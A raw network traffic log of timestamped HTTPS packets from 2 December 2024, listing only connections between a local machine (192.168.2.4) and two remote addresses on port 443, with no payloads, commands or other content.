Dec 2, 2024 17:57:21.683401108 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:21.683480978 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.683615923 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:21.683633089 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.387300968 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.387801886 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.387836933 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.388271093 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.388278008 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.731571913 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.732712984 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.732734919 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.733443975 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.733448029 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.842617035 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.845529079 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.845643044 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.845743895 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.845762014 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.845792055 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.845797062 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.850720882 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.850766897 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.850853920 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.851001978 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:22.851016045 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:22.997781992 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.001589060 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.001601934 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.002131939 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.002135992 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.184715033 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.188108921 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.188154936 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.188201904 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.188319921 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.188492060 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.188507080 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.193959951 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.193993092 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.194125891 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.194484949 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.194499016 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.469918013 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.470746994 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.470773935 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.471204996 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.471214056 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.483629942 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.486500978 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.486608982 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.486762047 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.486782074 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.491899967 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.491942883 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.492070913 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.492424965 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.492436886 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.919817924 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.922755957 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.922807932 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.922826052 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.922874928 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.922943115 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.922943115 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.922986984 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.923012018 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.926069021 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.926111937 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:23.926177025 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.926322937 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:23.926338911 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:24.638223886 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:24.639179945 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:24.639210939 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:24.639653921 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:24.639662027 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:24.975733995 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:24.976627111 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:24.976653099 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:24.977099895 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:24.977104902 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.046664000 CET	443	49924	142.250.181.100	192.168.2.4
Dec 2, 2024 17:57:25.046716928 CET	443	49924	142.250.181.100	192.168.2.4
Dec 2, 2024 17:57:25.046855927 CET	49924	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:57:25.083245993 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.086344004 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.086419106 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.086463928 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.086463928 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.086486101 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.086498022 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.089109898 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.089144945 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.089230061 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.089376926 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.089390993 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.212114096 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.212501049 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.212527037 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.212944984 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.212951899 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.422600985 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.423396111 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.423846960 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.423862934 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.424276114 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.424280882 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.425566912 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.425614119 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.425627947 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.425677061 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.425726891 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.425744057 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.425770044 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.425776005 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.428725958 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.428774118 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.428853035 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.428993940 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.429004908 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.616794109 CET	49924	443	192.168.2.4	142.250.181.100
Dec 2, 2024 17:57:25.616816998 CET	443	49924	142.250.181.100	192.168.2.4
Dec 2, 2024 17:57:25.708519936 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.709095955 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.709110022 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.709434032 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.709439039 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.729291916 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.729605913 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.729824066 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.729824066 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.729824066 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.734631062 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.734672070 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.734791040 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.735229015 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.735240936 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.969407082 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.969496965 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.969701052 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.969857931 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.969875097 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.969888926 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.969893932 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.973776102 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.973818064 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:25.974059105 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.974240065 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:25.974253893 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:26.036514997 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:26.036545992 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:26.218970060 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:26.222078085 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:26.222188950 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:26.222378016 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:26.222392082 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:26.228298903 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:26.228354931 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:26.228494883 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:26.228852987 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:26.228873968 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:26.879851103 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:26.880753040 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:26.880785942 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:26.882137060 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:26.882143974 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.150680065 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.154134035 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.154161930 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.154692888 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.154699087 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.324351072 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.327442884 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.327563047 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.327661991 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.327682018 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.327708006 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.327713966 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.334753036 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.334788084 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.334933043 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.335325956 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.335335970 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.539895058 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.540421963 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.540445089 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.540893078 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.540899038 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.586841106 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.586909056 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.586997032 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.587189913 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.587204933 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.587246895 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.587250948 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.589833021 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.589874983 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.589951992 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.590091944 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.590105057 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.759812117 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.760180950 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.760207891 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.760556936 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.760562897 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.997229099 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.997317076 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.997374058 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.997562885 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.997581959 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:27.997596025 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:27.997601986 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.000416040 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.000451088 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.000546932 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.000726938 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.000741959 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.078984022 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.079432964 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.079458952 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.079853058 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.079858065 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.236792088 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.236818075 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.236864090 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.236989021 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.237217903 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.237236023 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.237247944 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.237253904 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.240036964 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.240076065 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.240163088 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.240336895 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.240351915 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.539339066 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.539426088 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.539509058 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.539762974 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.539781094 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.539830923 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.539836884 CET	443	49952	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.546422958 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.546466112 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:28.546628952 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.547035933 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:28.547050953 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.207063913 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.207642078 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.207659006 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.208096027 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.208101034 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.382365942 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.383246899 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.383282900 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.383672953 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.383678913 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.680643082 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.680680037 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.680742025 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.680766106 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.680794954 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.681063890 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.681085110 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.681097984 CET	49953	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.681102991 CET	443	49953	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.685733080 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.685781002 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.685872078 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.686034918 CET	49958	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.686049938 CET	443	49958	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.737587929 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.738040924 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.738058090 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.738466978 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.738473892 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.828077078 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.830996990 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.831082106 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.831120014 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.831120014 CET	49954	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.831141949 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.831151009 CET	443	49954	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.833643913 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.833693981 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:29.833765030 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.833873034 CET	49959	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:29.833889008 CET	443	49959	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.023555994 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.024059057 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.024091959 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.024502039 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.024508953 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.172367096 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.177297115 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.177345991 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.177352905 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.177405119 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.177448988 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.177467108 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.177486897 CET	49955	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.177493095 CET	443	49955	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.180026054 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.180068970 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.180136919 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.180272102 CET	49960	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.180288076 CET	443	49960	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.394817114 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.395358086 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.395397902 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.395991087 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.395997047 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.475466013 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.478564978 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.478638887 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.478682995 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.478708982 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.478719950 CET	49956	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.478727102 CET	443	49956	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.481779099 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.481822968 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.481889009 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.482033968 CET	49961	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.482053995 CET	443	49961	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.853403091 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.856384039 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.856443882 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.856446028 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.856494904 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.856542110 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.856560946 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.856571913 CET	49957	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.856578112 CET	443	49957	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.859307051 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.859366894 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:30.859447002 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.859616041 CET	49962	443	192.168.2.4	13.107.246.63
Dec 2, 2024 17:57:30.859631062 CET	443	49962	13.107.246.63	192.168.2.4
Dec 2, 2024 17:57:31.466766119 CET	443	49958	13.107.246.63	192.168.2.4
